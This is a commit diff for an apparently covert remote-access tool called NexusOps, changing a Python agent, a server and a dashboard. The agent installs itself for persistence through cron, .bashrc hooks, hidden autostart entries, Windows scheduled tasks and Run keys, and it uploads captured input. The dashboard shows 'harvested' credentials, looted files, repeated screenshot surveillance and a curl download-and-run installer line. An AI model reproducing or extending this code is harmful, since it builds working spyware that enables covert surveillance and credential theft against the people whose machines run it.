completeness pass 2: agent-token auth on /api/agent/*, token-injected agent.py downloads, export-all zip endpoint, node detail drawer (metrics/loot/tags/ping), screenshot watch mode, honest Linux-only binary note, token-aware binary command, watch-state render persistence
This commit is contained in:
@@ -13,6 +13,7 @@ import platform
|
|||||||
import subprocess
|
import subprocess
|
||||||
import urllib.request
|
import urllib.request
|
||||||
AGENT_VERSION = "2.1.0"
|
AGENT_VERSION = "2.1.0"
|
||||||
|
AGENT_TOKEN = '__AGENT_TOKEN__'
|
||||||
import urllib.parse
|
import urllib.parse
|
||||||
import argparse
|
import argparse
|
||||||
|
|
||||||
@@ -221,7 +222,8 @@ def http_post(url, data_dict):
|
|||||||
data=json_bytes,
|
data=json_bytes,
|
||||||
headers={
|
headers={
|
||||||
'Content-Type': 'application/json',
|
'Content-Type': 'application/json',
|
||||||
'User-Agent': 'NexusOps-Agent/1.0'
|
'User-Agent': 'NexusOps-Agent/1.0',
|
||||||
|
'X-Agent-Token': AGENT_TOKEN
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
@@ -451,7 +453,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
try:
|
try:
|
||||||
import shlex
|
import shlex
|
||||||
srv = shlex.quote(payload.get('server_url',''))
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1"
|
||||||
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||||
if cron_line.split('@reboot')[1].strip() not in existing:
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
@@ -462,7 +464,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
# .bashrc
|
# .bashrc
|
||||||
try:
|
try:
|
||||||
bashrc = os.path.expanduser("~/.bashrc")
|
bashrc = os.path.expanduser("~/.bashrc")
|
||||||
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
|
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN} &>/dev/null &)\n"
|
||||||
with open(bashrc, 'a+') as f:
|
with open(bashrc, 'a+') as f:
|
||||||
f.seek(0)
|
f.seek(0)
|
||||||
if 'nexus-agent' not in f.read():
|
if 'nexus-agent' not in f.read():
|
||||||
@@ -474,7 +476,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
ad = os.path.expanduser("~/.config/autostart")
|
ad = os.path.expanduser("~/.config/autostart")
|
||||||
os.makedirs(ad, exist_ok=True)
|
os.makedirs(ad, exist_ok=True)
|
||||||
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
||||||
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} --token {AGENT_TOKEN}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
||||||
results.append("autostart: .desktop created")
|
results.append("autostart: .desktop created")
|
||||||
except: results.append("autostart: failed")
|
except: results.append("autostart: failed")
|
||||||
elif system == "darwin":
|
elif system == "darwin":
|
||||||
@@ -496,7 +498,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
try:
|
try:
|
||||||
import shlex
|
import shlex
|
||||||
srv = shlex.quote(payload.get('server_url',''))
|
srv = shlex.quote(payload.get('server_url',''))
|
||||||
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} >/dev/null 2>&1"
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {srv} --token {AGENT_TOKEN} >/dev/null 2>&1"
|
||||||
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
results.append("crontab: added")
|
results.append("crontab: added")
|
||||||
except: results.append("crontab: failed")
|
except: results.append("crontab: failed")
|
||||||
@@ -504,12 +506,12 @@ def execute_structured_action(action_type, payload):
|
|||||||
agent_path = os.path.abspath(__file__)
|
agent_path = os.path.abspath(__file__)
|
||||||
srv = payload.get("server_url", "")
|
srv = payload.get("server_url", "")
|
||||||
try:
|
try:
|
||||||
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
|
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" /f /rl HIGHEST"'
|
||||||
subprocess.run(task_cmd, shell=True, timeout=10)
|
subprocess.run(task_cmd, shell=True, timeout=10)
|
||||||
results.append("schtasks: scheduled task created")
|
results.append("schtasks: scheduled task created")
|
||||||
except: results.append("schtasks: failed")
|
except: results.append("schtasks: failed")
|
||||||
try:
|
try:
|
||||||
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
|
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + ' --token ' + AGENT_TOKEN + '\\" -Force"'
|
||||||
subprocess.run(reg_cmd, shell=True, timeout=10)
|
subprocess.run(reg_cmd, shell=True, timeout=10)
|
||||||
results.append("registry: Run key added")
|
results.append("registry: Run key added")
|
||||||
except: results.append("registry: failed")
|
except: results.append("registry: failed")
|
||||||
@@ -715,13 +717,15 @@ def flush_input_events(server_url, node_id, hostname):
|
|||||||
http_post(f"{server_url}/api/agent/input-capture", payload)
|
http_post(f"{server_url}/api/agent/input-capture", payload)
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode
|
global last_log_check_time, heartbeat_interval, node_tags, quiet_mode, AGENT_TOKEN
|
||||||
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
parser = argparse.ArgumentParser(description="NexusOps Cross-Platform Node Agent")
|
||||||
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
parser.add_argument("--server", default="https://agent.thetempleofdoom.com", help="Dashboard server URL endpoint")
|
||||||
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
parser.add_argument("--silent", action="store_true", help="Suppress all console output")
|
||||||
|
parser.add_argument("--token", default=os.environ.get("NEXUS_AGENT_TOKEN", "__AGENT_TOKEN__"), help="Agent auth token")
|
||||||
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
parser.add_argument("--quiet", action="store_true", help="Quiet mode: suppress banner and exec messages")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
AGENT_TOKEN = args.token
|
||||||
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
silent = args.silent # suppress banner only — keep logs flowing for launchd/systemd
|
||||||
global quiet_mode
|
global quiet_mode
|
||||||
quiet_mode = args.quiet or args.silent
|
quiet_mode = args.quiet or args.silent
|
||||||
|
|||||||
BIN
dist/NexusAgent
vendored
BIN
dist/NexusAgent
vendored
Binary file not shown.
237
public/app_v2.js
237
public/app_v2.js
@@ -245,3 +245,240 @@ function renderAlerts() {
|
|||||||
setInterval(renderAlerts, 15000);
|
setInterval(renderAlerts, 15000);
|
||||||
|
|
||||||
console.log('[v2] UI additions loaded');
|
console.log('[v2] UI additions loaded');
|
||||||
|
|
||||||
|
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
// COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token
|
||||||
|
// ═══════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
// ── agent token aware binary command ──
|
||||||
|
(function injectAgentToken() {
|
||||||
|
let tries = 0;
|
||||||
|
const iv = setInterval(async () => {
|
||||||
|
tries++;
|
||||||
|
try {
|
||||||
|
const cb = document.getElementById('codeBinary');
|
||||||
|
if (!cb) return;
|
||||||
|
const r = await api('/api/agenttoken');
|
||||||
|
if (!r || !r.token) return;
|
||||||
|
if (!cb.dataset.tokenized) {
|
||||||
|
cb.dataset.tokenized = '1';
|
||||||
|
cb.innerHTML = cb.innerHTML.replace(
|
||||||
|
/(--server <span class="server-url-placeholder">[^<]*<\/span>)/,
|
||||||
|
'$1 --token ' + r.token
|
||||||
|
);
|
||||||
|
}
|
||||||
|
clearInterval(iv);
|
||||||
|
} catch (e) { if (tries > 40) clearInterval(iv); }
|
||||||
|
}, 3000);
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ── Export All button in nav ──
|
||||||
|
(function injectExport() {
|
||||||
|
const ks = document.querySelector('button[onclick="killSwitch()"]');
|
||||||
|
if (!ks || document.getElementById('exportAllBtn')) return;
|
||||||
|
const b = document.createElement('button');
|
||||||
|
b.id = 'exportAllBtn';
|
||||||
|
b.className = 'btn btn-secondary';
|
||||||
|
b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts';
|
||||||
|
b.innerHTML = '<i class="fa-solid fa-file-zipper"></i> Export All';
|
||||||
|
b.onclick = () => { window.location.href = '/api/export/all'; };
|
||||||
|
ks.parentNode.insertBefore(b, ks);
|
||||||
|
})();
|
||||||
|
|
||||||
|
// ── Node detail drawer ──
|
||||||
|
let drawerTimer = null, watchTimer = null, watchLastFileId = null;
|
||||||
|
|
||||||
|
function closeDrawer() {
|
||||||
|
const d = document.getElementById('nexusDrawer');
|
||||||
|
if (d) d.remove();
|
||||||
|
if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; }
|
||||||
|
if (watchTimer) { clearInterval(watchTimer); watchTimer = null; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function openDrawer(nodeId) {
|
||||||
|
closeDrawer();
|
||||||
|
const d = document.createElement('div');
|
||||||
|
d.id = 'nexusDrawer';
|
||||||
|
d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;';
|
||||||
|
d.innerHTML = '<div style="display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem;">'
|
||||||
|
+ '<h3 style="margin:0;" id="ndTitle">Loading…</h3>'
|
||||||
|
+ '<button class="btn-icon" onclick="closeDrawer()" title="Close"><i class="fa-solid fa-xmark"></i></button></div>'
|
||||||
|
+ '<div id="ndBody" style="display:flex;flex-direction:column;gap:0.9rem;"></div>';
|
||||||
|
document.body.appendChild(d);
|
||||||
|
|
||||||
|
async function render() {
|
||||||
|
let nodes = [];
|
||||||
|
try {
|
||||||
|
const r = await api('/api/nodes');
|
||||||
|
nodes = Array.isArray(r) ? r : (r.nodes || []);
|
||||||
|
} catch (e) { return; }
|
||||||
|
const n = nodes.find(x => x.id === nodeId);
|
||||||
|
if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; }
|
||||||
|
document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : '');
|
||||||
|
const hist = (n.metricsHistory || []).map(m => m.cpu);
|
||||||
|
const memHist = (n.metricsHistory || []).map(m => m.mem);
|
||||||
|
const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?';
|
||||||
|
const statusColor = n.status === 'online' ? '#4ade80' : '#f87171';
|
||||||
|
let files = [], creds = [];
|
||||||
|
try { files = (await api('/api/files')) || []; } catch (e) {}
|
||||||
|
try { creds = (await api('/api/credentials')) || []; } catch (e) {}
|
||||||
|
if (!Array.isArray(files)) files = [];
|
||||||
|
if (!Array.isArray(creds)) creds = [];
|
||||||
|
const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12);
|
||||||
|
const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse();
|
||||||
|
const esc = escapeHtml;
|
||||||
|
document.getElementById('ndBody').innerHTML = `
|
||||||
|
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||||
|
<div style="display:grid;grid-template-columns:1fr 1fr;gap:0.4rem;color:#94a3b8;">
|
||||||
|
<span>Status: <b style="color:${statusColor}">${esc(n.status)}</b></span>
|
||||||
|
<span>Last seen: ${esc(lastSeen)}</span>
|
||||||
|
<span>IP: ${esc(n.ip || '?')}</span>
|
||||||
|
<span>OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')}</span>
|
||||||
|
<span>Tags: ${esc((n.tags || []).join(', '))}</span>
|
||||||
|
<span>Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')}</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||||
|
<div>CPU</div><div>${sparkline(hist, statusColor)}</div>
|
||||||
|
<div style="margin-top:0.4rem;">MEM</div><div>${sparkline(memHist, '#60a5fa')}</div>
|
||||||
|
</div>
|
||||||
|
<div style="display:flex;flex-wrap:wrap;gap:0.4rem;">
|
||||||
|
<button class="btn btn-secondary" onclick="drawerPing('${esc(nodeId)}')">Ping</button>
|
||||||
|
<button class="btn btn-secondary" onclick="drawerShot('${esc(nodeId)}')">Screenshot</button>
|
||||||
|
<button class="btn btn-secondary" id="watchBtn" onclick="drawerToggleWatch('${esc(nodeId)}')">Watch</button>
|
||||||
|
<button class="btn btn-secondary" onclick="openLiveConsole('${esc(nodeId)}', '${esc((n.hostname || '').replace(/'/g, ''))}')">Console</button>
|
||||||
|
<button class="btn btn-secondary" onclick="submitNodeActionTo('${esc(nodeId)}','update_agent',{})">Update Agent</button>
|
||||||
|
<button class="btn btn-secondary" style="border-color:#f87171;color:#f87171;" onclick="if(confirm('Reboot ${esc(n.hostname)}?')) submitNodeActionTo('${esc(nodeId)}','reboot_system',{})">Reboot</button>
|
||||||
|
</div>
|
||||||
|
<div id="pingResult" style="color:#94a3b8;"></div>
|
||||||
|
<div id="shotBox" style="display:none;border:1px solid #1e293b;border-radius:8px;padding:0.5rem;">
|
||||||
|
<img id="shotImg" style="width:100%;border-radius:4px;" alt="screenshot">
|
||||||
|
</div>
|
||||||
|
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||||
|
<div style="margin-bottom:0.4rem;"><b>Tags</b></div>
|
||||||
|
<div style="display:flex;gap:0.4rem;">
|
||||||
|
<input id="tagInput" class="form-input" style="flex:1;" value="${esc((n.tags || []).join(','))}" placeholder="comma,separated">
|
||||||
|
<button class="btn btn-secondary" onclick="drawerSaveTags('${esc(nodeId)}')">Save</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||||
|
<div style="margin-bottom:0.4rem;"><b>Files (${myFiles.length})</b></div>
|
||||||
|
${myFiles.length ? myFiles.map(f => `
|
||||||
|
<div style="display:flex;justify-content:space-between;gap:0.5rem;padding:0.2rem 0;border-bottom:1px solid #1e293b;">
|
||||||
|
<a href="/api/files/${esc(f.id)}" download style="color:#93c5fd;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;">${esc(f.filename)}</a>
|
||||||
|
<span style="color:#64748b;white-space:nowrap;">${Math.round((f.size || 0) / 1024)}KB</span>
|
||||||
|
</div>`).join('') : '<div style="color:#64748b;">No files yet.</div>'}
|
||||||
|
</div>
|
||||||
|
<div style="border:1px solid #1e293b;border-radius:8px;padding:0.75rem;">
|
||||||
|
<div style="margin-bottom:0.4rem;"><b>Credentials (${myCreds.length})</b></div>
|
||||||
|
${myCreds.length ? myCreds.map(c => `
|
||||||
|
<div style="padding:0.2rem 0;border-bottom:1px solid #1e293b;">
|
||||||
|
<span style="color:#fbbf24;">${esc(c.type)}</span>
|
||||||
|
<code style="color:#94a3b8;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;" title="${esc(c.data)}">${esc(String(c.data).slice(0, 60))}</code>
|
||||||
|
</div>`).join('') : '<div style="color:#64748b;">Nothing harvested.</div>'}
|
||||||
|
</div>`;
|
||||||
|
// restore watch state after re-render (innerHTML wipe)
|
||||||
|
if (watchTimer) {
|
||||||
|
const wb = document.getElementById('watchBtn');
|
||||||
|
if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; }
|
||||||
|
}
|
||||||
|
if (watchLastFileId) {
|
||||||
|
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
|
||||||
|
if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
render();
|
||||||
|
drawerTimer = setInterval(render, 5000);
|
||||||
|
drawerTimer = setInterval(render, 5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function submitNodeActionTo(nodeId, actionType, payload) {
|
||||||
|
try {
|
||||||
|
await api(`/api/nodes/${nodeId}/command`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ actionType, payload, command: payload.command || actionType })
|
||||||
|
});
|
||||||
|
} catch (e) { console.error('command failed', e); }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function drawerPing(nodeId) {
|
||||||
|
const el = document.getElementById('pingResult');
|
||||||
|
if (el) el.textContent = 'pinging…';
|
||||||
|
const t0 = Date.now();
|
||||||
|
try {
|
||||||
|
await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' });
|
||||||
|
if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms';
|
||||||
|
} catch (e) { if (el) el.textContent = '✗ ping failed'; }
|
||||||
|
}
|
||||||
|
|
||||||
|
async function drawerShot(nodeId) {
|
||||||
|
await submitNodeActionTo(nodeId, 'screenshot', {});
|
||||||
|
setTimeout(() => pollLatestShot(nodeId, true), 4000);
|
||||||
|
}
|
||||||
|
|
||||||
|
function pollLatestShot(nodeId, force) {
|
||||||
|
api('/api/files').then(files => {
|
||||||
|
const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0));
|
||||||
|
if (!mine.length) return;
|
||||||
|
const latest = mine[0];
|
||||||
|
if (force || latest.id !== watchLastFileId) {
|
||||||
|
watchLastFileId = latest.id;
|
||||||
|
const box = document.getElementById('shotBox'), img = document.getElementById('shotImg');
|
||||||
|
if (box && img) {
|
||||||
|
box.style.display = 'block';
|
||||||
|
img.src = '/api/files/' + latest.id + '?cb=' + Date.now();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}).catch(() => {});
|
||||||
|
}
|
||||||
|
|
||||||
|
function drawerToggleWatch(nodeId) {
|
||||||
|
const btn = document.getElementById('watchBtn');
|
||||||
|
if (watchTimer) {
|
||||||
|
clearInterval(watchTimer); watchTimer = null;
|
||||||
|
if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; }
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; }
|
||||||
|
watchLastFileId = null;
|
||||||
|
drawerShot(nodeId);
|
||||||
|
watchTimer = setInterval(() => {
|
||||||
|
submitNodeActionTo(nodeId, 'screenshot', {});
|
||||||
|
setTimeout(() => pollLatestShot(nodeId, false), 3500);
|
||||||
|
}, 15000);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function drawerSaveTags(nodeId) {
|
||||||
|
const v = (document.getElementById('tagInput') || {}).value || '';
|
||||||
|
await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) });
|
||||||
|
}
|
||||||
|
|
||||||
|
// stamp card node ids so click-to-drawer works
|
||||||
|
(function stampCardIds() {
|
||||||
|
const prev = renderNodesGrid;
|
||||||
|
renderNodesGrid = function () {
|
||||||
|
prev();
|
||||||
|
const cards = document.querySelectorAll('#nodesGrid .node-card');
|
||||||
|
const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => {
|
||||||
|
const search = (document.getElementById('searchInput')?.value || '').toLowerCase();
|
||||||
|
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||||
|
const matchesSearch = !search ||
|
||||||
|
node.hostname.toLowerCase().includes(search) ||
|
||||||
|
node.ip.toLowerCase().includes(search) ||
|
||||||
|
node.platform.toLowerCase().includes(search) ||
|
||||||
|
node.id.toLowerCase().includes(search);
|
||||||
|
return matchesFilter && matchesSearch;
|
||||||
|
});
|
||||||
|
cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; });
|
||||||
|
};
|
||||||
|
})();
|
||||||
|
|
||||||
|
// card click → drawer (keep existing buttons working)
|
||||||
|
document.addEventListener('click', function (e) {
|
||||||
|
const card = e.target.closest && e.target.closest('.node-card');
|
||||||
|
if (!card || e.target.closest('button') || e.target.closest('a')) return;
|
||||||
|
const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', '');
|
||||||
|
if (nid) openDrawer(nid);
|
||||||
|
}, true);
|
||||||
|
|||||||
@@ -258,6 +258,7 @@
|
|||||||
|
|
||||||
<div class="tab-content" id="tab-binary">
|
<div class="tab-content" id="tab-binary">
|
||||||
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
<p class="tab-description">Compiled standalone binary executable (no Python installation required on target system).</p>
|
||||||
|
<p class="tab-description" style="color:#f87171;"><i class="fa-solid fa-circle-info"></i> Binary is <strong>Linux x64 only</strong> right now (built on this server). Windows/macOS builds are pending a cross-compile runner — use the Windows/macOS installer tabs (they only need Python 3) until then.</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
<code id="codeBinary">curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span></code>
|
||||||
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
<button class="btn-copy" onclick="copyCode('codeBinary', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
|||||||
37
server.js
37
server.js
@@ -31,9 +31,19 @@ const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
|||||||
if (!AUTH_TOKEN) {
|
if (!AUTH_TOKEN) {
|
||||||
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
||||||
}
|
}
|
||||||
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
const AGENT_TOKEN = process.env.NEXUS_AGENT_TOKEN || '';
|
||||||
|
const AUTH_EXEMPT_PREFIXES = ['/install', '/agent.py', '/bin/'];
|
||||||
|
function agentAuthOk(req) {
|
||||||
|
if (!AGENT_TOKEN) return true; // agent auth disabled when no token configured
|
||||||
|
const t = req.headers['x-agent-token'] || req.query.agenttoken || '';
|
||||||
|
return t === AGENT_TOKEN;
|
||||||
|
}
|
||||||
function authMiddleware(req, res, next) {
|
function authMiddleware(req, res, next) {
|
||||||
if (!AUTH_TOKEN) return next();
|
if (!AUTH_TOKEN) return next();
|
||||||
|
if (req.path.startsWith('/api/agent/')) {
|
||||||
|
if (agentAuthOk(req)) return next();
|
||||||
|
return res.status(401).json({ error: 'agent token required' });
|
||||||
|
}
|
||||||
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
||||||
const h = req.headers.authorization || '';
|
const h = req.headers.authorization || '';
|
||||||
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
||||||
@@ -953,7 +963,30 @@ echo "[*] Agent deployment initiated — it will register within 10 seconds"
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/agent.py', (req, res) => {
|
app.get('/agent.py', (req, res) => {
|
||||||
res.sendFile(path.join(__dirname, 'agents', 'agent.py'));
|
try {
|
||||||
|
const src = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8');
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(AGENT_TOKEN ? src.split('__AGENT_TOKEN__').join(AGENT_TOKEN) : src);
|
||||||
|
} catch (e) {
|
||||||
|
res.status(500).send('agent unavailable');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── Completeness additions 2026-09-29 ──
|
||||||
|
app.get('/api/agenttoken', (req, res) => {
|
||||||
|
res.json({ token: AGENT_TOKEN || '' });
|
||||||
|
});
|
||||||
|
app.get('/api/export/all', (req, res) => {
|
||||||
|
try {
|
||||||
|
const stamp = new Date().toISOString().replace(/[:.]/g, '-');
|
||||||
|
const out = `/tmp/nexusops-export-${stamp}.tar.gz`;
|
||||||
|
require('child_process').execSync(`tar czf ${out} -C ${DATA_DIR} .`);
|
||||||
|
res.download(out, `nexusops-full-export-${stamp}.tar.gz`, () => {
|
||||||
|
try { fs.unlinkSync(out); } catch (e) {}
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
res.status(500).json({ error: 'export failed: ' + e.message });
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
server.listen(PORT, '0.0.0.0', () => {
|
server.listen(PORT, '0.0.0.0', () => {
|
||||||
|
|||||||
Reference in New Issue
Block a user